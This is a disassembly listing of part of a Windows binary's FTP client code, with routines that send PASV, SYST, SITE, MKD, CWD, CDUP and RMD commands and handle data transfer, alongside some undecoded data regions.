var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= word ptr -120h
var_11E		= word ptr -11Eh
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_114		= byte ptr -114h
var_110		= byte ptr -110h
var_10C		= byte ptr -10Ch
var_108		= byte ptr -108h
var_104		= byte ptr -104h
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 134h
		push	ebx
		mov	ebx, [esp+138h+arg_0]
		push	ebp
		push	esi
		mov	eax, [ebx+18h]
		xor	ebp, ebp
		mov	esi, 1
		cmp	eax, ebp
		push	edi
		mov	[esp+144h+var_120], bp
		mov	[esp+144h+var_11E], bp
		mov	[esp+144h+var_11C], esi
		jnz	loc_42EB94
		mov	eax, [esp+144h+arg_C]
		cmp	eax, esi
		jz	short loc_42E8D2
		cmp	eax, 2
		jz	short loc_42E8D2
		push	eax
		add	ebx, 44h
		push	offset aInvalidDirecti ; "Invalid direction %d\n"
		push	ebx
		nop
		call	near ptr 77C3F931h
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_42E8D2:				; CODE XREF: sub_42E870+3Aj
					; sub_42E870+3Fj
		mov	eax, [esp+144h+arg_8]
		cmp	eax, 41h
		jz	short loc_42E904
		cmp	eax, 49h
		jz	short loc_42E904
		push	eax
		add	ebx, 44h
		push	offset aInvalidModeC ; "Invalid	mode %c\n"
		push	ebx
		call	near ptr 77C3F931h
		nop
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_42E904:				; CODE XREF: sub_42E870+6Cj
					; sub_42E870+71j
		mov	eax, [ebx+24h]
		mov	[esp+144h+var_124], 10h
		cmp	eax, esi
		jnz	loc_42E9E9
		xor	eax, eax
		push	ebx
		mov	[esp+148h+var_134], eax
		push	32h
		mov	[esp+14Ch+var_130], eax
		push	offset aPasv	; "PASV"
		mov	[esp+150h+var_12C], eax
		mov	word ptr [esp+150h+var_134], 2
		mov	[esp+150h+var_128], eax
		call	sub_42E490
		add	esp, 0Ch
		test	eax, eax
		jz	loc_42EB94
		lea	ecx, [ebx+44h]
		push	28h
		push	ecx
		nop
		call	near ptr 77C47660h
		add	esp, 8
		cmp	eax, ebp
		jz	loc_42EB94
		lea	edx, [esp+144h+var_114]
		lea	ecx, [esp+144h+var_118]
		push	edx
		push	ecx
		lea	edx, [esp+14Ch+var_104]
		lea	ecx, [esp+14Ch+var_108]
		push	edx
		push	ecx
		lea	edx, [esp+154h+var_10C]
		lea	ecx, [esp+154h+var_110]
		push	edx
		push	ecx
		inc	eax
		push	offset aUUUUUU	; "%u,%u,%u,%u,%u,%u"
		push	eax
		nop
		call	near ptr 77C41B72h
		mov	dl, [esp+164h+var_110]
		mov	al, [esp+164h+var_10C]
		mov	cl, [esp+164h+var_108]
		mov	byte ptr [esp+164h+var_130], dl
		mov	dl, [esp+164h+var_104]
		mov	byte ptr [esp+164h+var_130+1], al
		mov	al, [esp+164h+var_118]
		mov	byte ptr [esp+164h+var_130+2], cl
		mov	cl, [esp+164h+var_114]
		add	esp, 20h
		mov	byte ptr [esp+144h+var_130+3], dl
		mov	byte ptr [esp+144h+var_134+2], al
		mov	byte ptr [esp+144h+var_134+3], cl
		push	6
		push	esi
		push	2
		call	sub_438232
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0FFFF83F8h, 0C684D75h, 90004474h, 808419E8h,	4C48377h
		dd 5E5FC70Bh, 0C4815B5Dh, 134h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_42E9E9:				; CODE XREF: sub_42E870+A1j
		mov	ecx, [ebx+8]
		lea	edx, [esp+144h+var_124]
		lea	eax, [esp+144h+var_134]
		push	edx
		push	eax
		push	ecx
		call	sub_438220
; ---------------------------------------------------------------------------
		dd 0BD7DC085h, 44752C68h, 0E7E89000h, 83778083h, 0C03304C4h
		dd 5B5D5E5Fh, 134C481h,	8DC30000h, 6A282454h, 46A5204h
		dd 0FFFF68h, 4BE85700h,	83000098h, 0A75FFF8h, 4473FC68h
		dd 147E900h, 448D0000h,	46A2424h, 806850h, 0FF680000h
		dd 570000FFh, 9825E8h, 0FFF88300h, 0FC680A75h, 0E9004473h
		dd 121h, 75247339h, 244C8D20h, 51106A10h, 97C2E857h, 0F8830000h
		dd 0EC850FFFh, 68000000h, 4471FCh, 0FCE9h, 24548D00h, 52106A10h
		dd 6C896657h, 8BE81E24h, 83000097h, 775FFF8h, 44752468h
		dd 5610EB00h, 9766E857h, 0C0850000h, 1C68217Dh,	0E8004475h
		dd 77808336h, 4C48390h,	9736E857h, 5E5F0000h, 5BC0335Dh
		dd 134C481h, 8DC30000h,	8D202444h, 5010244Ch, 3DE85751h
		dd 85000097h, 5F0D7DC0h, 0C0335D5Eh, 34C4815Bh,	0C3000001h
		dd 1324548Bh, 1224448Bh, 17244C8Bh, 0FFE281h, 0FF250000h
		dd 52000000h, 1A24548Bh, 0FFE181h, 8B500000h, 511D2444h
		dd 20244C8Bh, 0FFE281h,	0FF250000h, 52000000h, 0FFE181h
		dd 51500000h, 5C24548Dh, 44750068h, 0E8905200h,	77810DEDh
		dd 24448D53h, 50326A68h, 0FFF93FE8h, 2CC483FFh,	1375C085h
		dd 969EE857h, 5E5F0000h, 5BC0335Dh, 134C481h, 68C30000h
		dd 144h, 4CE89056h, 8B777FD5h, 8C483F0h, 2275F53Bh, 4473F468h
		dd 67E89000h, 83778082h, 0E85704C4h, 9668h
; ---------------------------------------------------------------------------


loc_42EB94:				; CODE XREF: sub_42E870+2Bj
					; sub_42E870+D2j ...
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		add	esp, 134h
		retn
sub_42E870	endp

; ---------------------------------------------------------------------------
		dw 0BC83h
		dd 15024h, 41754100h, 200068h, 50E89000h, 83777FD8h, 0C53B04C4h
		dd 75144689h, 73F4682Ch, 0E8900044h, 77808226h,	5704C483h
		dd 9627E8h, 40E85600h, 90777FD6h, 8304C483h, 5E5FFFC8h
		dd 0C4815B5Dh, 134h, 248C8BC3h,	154h, 89087E89h, 538B184Eh
		dd 28568928h, 892C438Bh, 4B8B2C46h, 344E8934h, 89284E8Bh
		dd 6E89386Eh, 3C438B40h, 4689CD3Bh, 390E753Ch, 9752C6Eh
		dd 575C53Bh, 0EB306E89h, 30538B06h, 8B305689h, 14C2484h
		dd 895F0000h, 0B85D5E30h, 1, 34C4815Bh,	0C3000001h, 90909090h
		dd 40h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42ED50	proc near		; CODE XREF: sub_42E5B0+1BEp

var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 124h
		push	ebx
		mov	ebx, [esp+128h+arg_0]
		push	ebp
		push	esi
		mov	esi, [esp+130h+arg_4]
		mov	eax, [ebx+8]
		xor	ebp, ebp
		push	edi
		mov	ecx, [esi+8]
		mov	[esp+134h+var_FC], eax
		cmp	ecx, eax
		mov	[esp+134h+var_100], ecx
		mov	[esp+134h+var_104], 2
		mov	[esp+134h+var_118], ebp
		mov	[esp+134h+var_11C], 1Eh
		jge	short loc_42ED92
		mov	ecx, eax


loc_42ED92:				; CODE XREF: sub_42ED50+3Ej
		lea	eax, [esp+134h+var_11C]
		lea	edx, [esp+134h+var_104]
		push	eax
		push	ebp
		push	ebp
		inc	ecx
		push	edx
		push	ecx
		call	sub_438208
sub_42ED50	endp

; ---------------------------------------------------------------------------
		db 83h,	0F8h, 0FFh
		dd 683E75h, 0E8000001h,	777F0508h, 50008B90h, 843CE890h
		dd 0C4837780h, 44C68304h, 0E8905650h, 77818CC4h, 83084B8Bh
		dd 0E8510CC4h, 9424h, 86B895Fh,	0C0335D5Eh, 24C4815Bh
		dd 0C3000001h, 2975C53Bh, 0B9447E8Dh, 8, 44758CBEh, 0A4A5F300h
		dd 5208538Bh, 93F7E8h, 6B895F00h, 335D5E08h, 0C4815BC0h
		dd 124h, 84B8BC3h, 3024448Dh, 33E85150h, 85000094h, 8B7A74C0h
		dd 548D084Bh, 448D1424h, 50522024h, 2444C751h, 1020h, 93C0E800h
		dd 0F88B0000h, 7F0473E8h, 108B9077h, 5008438Bh,	14245489h
		dd 93A3E8h, 7EFD3B00h, 87B8913h, 0B85D5E5Fh, 1,	24C4815Bh
		dd 0C3000001h, 10244C8Bh, 10068h, 0E8905100h, 7780837Ah
		dd 8304C483h, 565044C6h, 8C02E890h, 0C4837781h,	86B890Ch
		dd 5E5FC033h, 0C4815B5Dh, 124h,	8468BC3h, 3024548Dh, 0A7E85052h
		dd 85000093h, 8B2474C0h, 0E851084Bh, 9340h, 89326A56h
		dd 39E8086Bh, 83FFFFEFh, 0C03308C4h, 5B5D5E5Fh,	124C481h
		dd 8BC30000h, 5F102444h, 815B5D5Eh, 124C4h, 9090C300h
		dd 2 dup(90909090h), 1Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_42EF60	proc near		; CODE XREF: sub_40226Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		cmp	dword ptr [esi+18h], 1
		jz	short loc_42EF71
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EF71:				; CODE XREF: sub_42EF60+Aj
		mov	eax, [esi+14h]
		push	esi
		test	eax, eax
		jz	short loc_42EF8D
		mov	eax, [esp+0Ch+arg_4]
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		push	ecx
		call	sub_42DF40
		add	esp, 0Ch
		jmp	short loc_42EFB4
; ---------------------------------------------------------------------------


loc_42EF8D:				; CODE XREF: sub_42EF60+17j
		call	sub_42E170
		add	esp, 4
		cmp	eax, 1
		jz	short loc_42EF9F
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EF9F:				; CODE XREF: sub_42EF60+38j
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]
		mov	ecx, [esi+8]
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_4381F0
; ---------------------------------------------------------------------------


loc_42EFB4:				; CODE XREF: sub_42EF60+2Bj
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_42EFC0
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EFC0:				; CODE XREF: sub_42EF60+59j
		mov	ecx, [esi+38h]
		add	ecx, edi
		mov	[esi+38h], ecx
		mov	edx, ecx
		mov	ecx, [esi+30h]
		test	ecx, ecx
		jz	short loc_42EFFF
		mov	eax, [esi+3Ch]
		test	eax, eax
		jz	short loc_42EFFF
		push	ebx
		mov	ebx, [esi+40h]
		add	ebx, edi
		mov	[esi+40h], ebx
		cmp	ebx, eax
		pop	ebx
		jle	short loc_42EFFF
		mov	eax, [esi+34h]
		push	eax
		push	edx
		push	esi
		call	ecx
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42EFF8
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EFF8:				; CODE XREF: sub_42EF60+93j
		mov	dword ptr [esi+40h], 0


loc_42EFFF:				; CODE XREF: sub_42EF60+6Fj
					; sub_42EF60+76j ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42EF60	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F040	proc near		; CODE XREF: sub_402216j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		cmp	dword ptr [esi+18h], 2
		jz	short loc_42F051
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F051:				; CODE XREF: sub_42F040+Aj
		mov	eax, [esi+14h]
		push	esi
		test	eax, eax
		jz	short loc_42F06D
		mov	eax, [esp+0Ch+arg_4]
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		push	ecx
		call	sub_42F110
		add	esp, 0Ch
		jmp	short loc_42F08A
; ---------------------------------------------------------------------------


loc_42F06D:				; CODE XREF: sub_42F040+17j
		call	sub_42E170
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esi+8]
		add	esp, 4
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_4381F6
; ---------------------------------------------------------------------------


loc_42F08A:				; CODE XREF: sub_42F040+2Bj
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_42F096
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F096:				; CODE XREF: sub_42F040+4Fj
		mov	edx, [esi+38h]
		mov	eax, [esi+30h]
		add	edx, edi
		test	eax, eax
		mov	[esi+38h], edx
		jz	short loc_42F0CC
		mov	ecx, [esi+3Ch]
		test	ecx, ecx
		jz	short loc_42F0CC
		push	ebx
		mov	ebx, [esi+40h]
		add	ebx, edi
		mov	[esi+40h], ebx
		cmp	ebx, ecx
		pop	ebx
		jle	short loc_42F0CC
		mov	ecx, [esi+34h]
		push	ecx
		push	edx
		push	esi
		call	eax
		add	esp, 0Ch
		mov	dword ptr [esi+40h], 0


loc_42F0CC:				; CODE XREF: sub_42F040+63j
					; sub_42F040+6Aj ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42F040	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F110	proc near		; CODE XREF: sub_42F040+23p
					; sub_42F2C0+28p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_8]
		push	esi
		xor	esi, esi
		xor	al, al
		mov	ecx, [ebp+18h]
		push	edi
		cmp	ecx, 2
		jz	short loc_42F12C
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42F12C:				; CODE XREF: sub_42F110+12j
		mov	ecx, [esp+10h+arg_4]
		mov	edi, [ebp+14h]
		xor	ebx, ebx
		test	ecx, ecx
		jle	loc_42F254


loc_42F13D:				; CODE XREF: sub_42F110+AFj
		mov	ecx, [esp+10h+arg_0]
		cmp	byte ptr [ebx+ecx], 0Ah
		jnz	short loc_42F17E
		cmp	al, 0Dh
		jz	short loc_42F17E
		cmp	esi, 2000h
		jnz	short loc_42F179
		push	ebp
		call	sub_42E170
		add	esp, 4
		test	eax, eax
		jz	short loc_42F1DA
		mov	edx, [ebp+8]
		push	0
		push	esi
		push	edi
		push	edx
		call	sub_4381F6
; ---------------------------------------------------------------------------
		mov	esi, eax
		cmp	esi, 2000h
		jnz	short loc_42F1E1
		xor	esi, esi


loc_42F179:				; CODE XREF: sub_42F110+41j
		mov	byte ptr [edi+esi], 0Dh
		inc	esi


loc_42F17E:				; CODE XREF: sub_42F110+35j
					; sub_42F110+39j
		cmp	esi, 2000h
		jnz	short loc_42F1AC
		push	ebp
		call	sub_42E170
		add	esp, 4
		test	eax, eax
		jz	short loc_42F1DA
		mov	eax, [ebp+8]
		push	0
		push	esi
		push	edi
		push	eax
		call	sub_4381F6
; ---------------------------------------------------------------------------
		mov	esi, eax
		cmp	esi, 2000h
		jnz	short loc_42F201
		xor	esi, esi


loc_42F1AC:				; CODE XREF: sub_42F110+74j
		mov	ecx, [esp+10h+arg_0]
		inc	esi
		mov	al, [ebx+ecx]
		mov	ecx, [esp+10h+arg_4]
		mov	[edi+esi-1], al
		inc	ebx
		cmp	ebx, ecx
		jl	loc_42F13D
		test	esi, esi
		jz	loc_42F254
		push	ebp
		call	sub_42E170
		add	esp, 4
		test	eax, eax
		jnz	short loc_42F221


loc_42F1DA:				; CODE XREF: sub_42F110+4Ej
					; sub_42F110+81j
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42F1E1:				; CODE XREF: sub_42F110+65j
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [eax]
		push	edx
		push	esi
		push	offset aNet_write1Retu ; "net_write(1) returned	%d, errno = %d\n"
		nop
		call	near ptr 77C4186Ah
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42F201:				; CODE XREF: sub_42F110+98j
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		push	eax
		push	esi
		push	offset aNet_write2Retu ; "net_write(2) returned	%d, errno = %d\n"
		nop
		call	near ptr 77C4186Ah
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42F221:				; CODE XREF: sub_42F110+C8j
		mov	ecx, [ebp+8]
		push	0
		push	esi
		push	edi
		push	ecx
		call	sub_4381F6
; ---------------------------------------------------------------------------
		dw 0F88Bh
		dd 2074FE3Bh, 82E890h, 108B777Fh, 0B4685752h, 90004475h
		dd 812621E8h, 0CC48377h, 5FFFC883h, 0C35B5D5Eh
; ---------------------------------------------------------------------------


loc_42F254:				; CODE XREF: sub_42F110+27j
					; sub_42F110+B7j
		mov	eax, [esp+10h+arg_4]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_42F110	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F2C0	proc near		; CODE XREF: sub_401BEFj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+18h]
		sub	eax, 0
		jz	short loc_42F33B
		dec	eax
		jz	short loc_42F2F0
		dec	eax
		jz	short loc_42F2DC


loc_42F2D4:				; CODE XREF: sub_42F2C0+64j
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F2DC:				; CODE XREF: sub_42F2C0+12j
		mov	eax, [esi+14h]
		test	eax, eax
		jz	short loc_42F2F0
		push	esi
		push	0
		push	0
		call	sub_42F110
		add	esp, 0Ch


loc_42F2F0:				; CODE XREF: sub_42F2C0+Fj
					; sub_42F2C0+21j
		mov	eax, [esi+14h]
		push	ebx
		mov	ebx, dword_511AD0
		test	eax, eax
		jz	short loc_42F304
		push	eax
		call	ebx	; free
		add	esp, 4


loc_42F304:				; CODE XREF: sub_42F2C0+3Cj
		mov	eax, [esi+8]
		push	2
		push	eax
		call	sub_438292
; ---------------------------------------------------------------------------
		mov	ecx, [esi+8]
		push	ecx
		call	sub_4381FC
; ---------------------------------------------------------------------------
		mov	edi, [esi+1Ch]
		push	esi
		call	ebx	; free
		add	esp, 4
		test	edi, edi
		pop	ebx
		jz	short loc_42F2D4
		push	edi
		push	32h
		mov	dword ptr [edi+20h], 0
		call	sub_42DE00
		add	esp, 8
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F33B:				; CODE XREF: sub_42F2C0+Cj
		mov	eax, [esi+20h]
		test	eax, eax
		jz	short loc_42F352
		push	esi
		mov	dword ptr [esi+1Ch], 0
		call	sub_401BEF
		add	esp, 4


loc_42F352:				; CODE XREF: sub_42F2C0+80j
		mov	edx, [esi+8]
		push	edx
		call	sub_4381FC
sub_42F2C0	endp

; ---------------------------------------------------------------------------
		db 56h
		db 90h
		db 0E8h, 0B9h, 0CEh
		dd 0C483777Fh, 5FC03304h, 9090C35Eh, 90909090h,	0Ch dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_42F3A0:				; CODE XREF: ___:00401CF8j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42F3C9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42F3C9:				; CODE XREF: ___:0042F3C0j
		push	edx
		lea	eax, [esp+4]
		push	offset aSiteS	; "SITE	%s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F420:				; CODE XREF: ___:004016CCj
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+14h]
		push	edi
		push	32h
		push	offset aSyst	; "SYST"
		call	sub_42E490
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42F441
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F441:				; CODE XREF: ___:0042F43Cj
		mov	eax, [esp+10h]
		lea	ecx, [edi+48h]
		lea	edx, [eax-1]
		test	edx, edx
		jz	short loc_42F45C


loc_42F44F:				; CODE XREF: ___:0042F45Aj
		mov	al, [ecx]
		cmp	al, 20h
		jz	short loc_42F45C
		mov	[esi], al
		inc	esi
		inc	ecx
		dec	edx
		jnz	short loc_42F44F


loc_42F45C:				; CODE XREF: ___:0042F44Dj
					; ___:0042F453j
		mov	byte ptr [esi],	0
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F490:				; CODE XREF: ___:00402270j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42F4B9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42F4B9:				; CODE XREF: ___:0042F4B0j
		push	edx
		lea	eax, [esp+4]
		push	offset aMkdS	; "MKD %s"
		push	eax
		call	near ptr 77C3F931h
		nop
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F510:				; CODE XREF: ___:0040227Fj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42F539
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42F539:				; CODE XREF: ___:0042F530j
		push	edx
		lea	eax, [esp+4]
		push	offset aCwdS	; "CWD %s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F590:				; CODE XREF: ___:0040178Aj
		mov	eax, [esp+4]
		push	eax
		push	32h
		push	offset aCdup	; "CDUP"
		call	sub_42E490
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F5C0:				; CODE XREF: ___:00402220j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42F5E9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42F5E9:				; CODE XREF: ___:0042F5E0j
		push	edx
		lea	eax, [esp+4]
		push	offset aRmdS	; "RMD %s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F640:				; CODE XREF: ___:00401677j
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+14h]
		push	edi
		push	32h
		push	offset off_447678
		call	sub_42E490
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42F661
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F661:				; CODE XREF: ___:0042F65Cj
		add	edi, 44h
		push	22h
		push	edi
		nop
		call	near ptr 77C47660h
		add	esp, 8
		test	eax, eax
		jnz	short loc_42F677
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F677:				; CODE XREF: ___:0042F672j
		mov	ecx, [esp+10h]
		inc	eax
		lea	edx, [ecx-1]
		test	edx, edx
		jz	short loc_42F695


loc_42F683:				; CODE XREF: ___:0042F693j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42F695
		cmp	cl, 22h
		jz	short loc_42F695
		mov	[esi], cl
		inc	esi
		inc	eax
		dec	edx
		jnz	short loc_42F683


loc_42F695:				; CODE XREF: ___:0042F681j
					; ___:0042F687j ...
		mov	byte ptr [esi],	0
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F6C0:				; CODE XREF: ___:00401127j
		mov	eax, [esp+0Ch]
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	41h
		push	1
		push	eax
		push	ecx
		push	edx
		call	sub_42F6F0
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F6F0	proc near		; CODE XREF: ___:0042F6D3p
					; ___:0042F953p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	ebx
		push	ebp
		xor	ebp, ebp
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_10]
		cmp	eax, ebp
		mov	[esp+14h+var_4], 1
		jz	short loc_42F77A
		mov	esi, [esp+14h+arg_C]
		mov	cx, word_4476B8
		cmp	esi, 4
		mov	word ptr [esp+14h+arg_10], cx
		mov	word ptr [esp+14h+arg_10+2], bp
		jnz	short loc_42F72A
		mov	byte ptr [esp+14h+arg_10], 72h


loc_42F72A:				; CODE XREF: sub_42F6F0+33j
		cmp	edi, 49h
		jnz	short loc_42F734
		mov	byte ptr [esp+14h+arg_10+1], 62h


loc_42F734:				; CODE XREF: sub_42F6F0+3Dj
		lea	edx, [esp+14h+arg_10]
		push	edx
		push	eax
		call	near ptr 77C3F010h
		nop
		mov	ebx, eax
		add	esp, 8
		cmp	ebx, ebp
		jnz	short loc_42F794
		push	100h
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		push	eax
		call	near ptr 77C371FAh
		nop
		mov	ecx, [esp+1Ch+arg_8]
		add	esp, 4
		add	ecx, 44h
		push	eax
		push	ecx
		call	near ptr 77C47A90h
		nop
		add	esp, 0Ch
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42F77A:				; CODE XREF: sub_42F6F0+19j
		mov	esi, [esp+14h+arg_C]
		cmp	esi, 4
		jnz	short loc_42F78B
		mov	ebx, dword_511A90
		jmp	short loc_42F794
; ---------------------------------------------------------------------------


loc_42F78B:				; CODE XREF: sub_42F6F0+91j
		mov	edx, dword_511A90
		lea	ebx, [edx+20h]


loc_42F794:				; CODE XREF: sub_42F6F0+57j
					; sub_42F6F0+99j
		mov	ecx, [esp+14h+arg_8]
		mov	edx, [esp+14h+arg_4]
		lea	eax, [esp+14h+arg_C]
		push	eax
		push	ecx
		push	edi
		push	esi
		push	edx
		call	sub_401F73
		add	esp, 14h
		test	eax, eax
		jnz	short loc_42F7B7
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42F7B7:				; CODE XREF: sub_42F6F0+BFj
		push	2000h
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		cmp	esi, 4
		mov	edi, eax
		jnz	short loc_42F82D
		mov	ebp, dword_511AB0
		push	ebx
		push	2000h
		push	1
		push	edi
		call	ebp	; fread
		mov	esi, eax
		add	esp, 10h
		test	esi, esi
		jle	loc_42F883


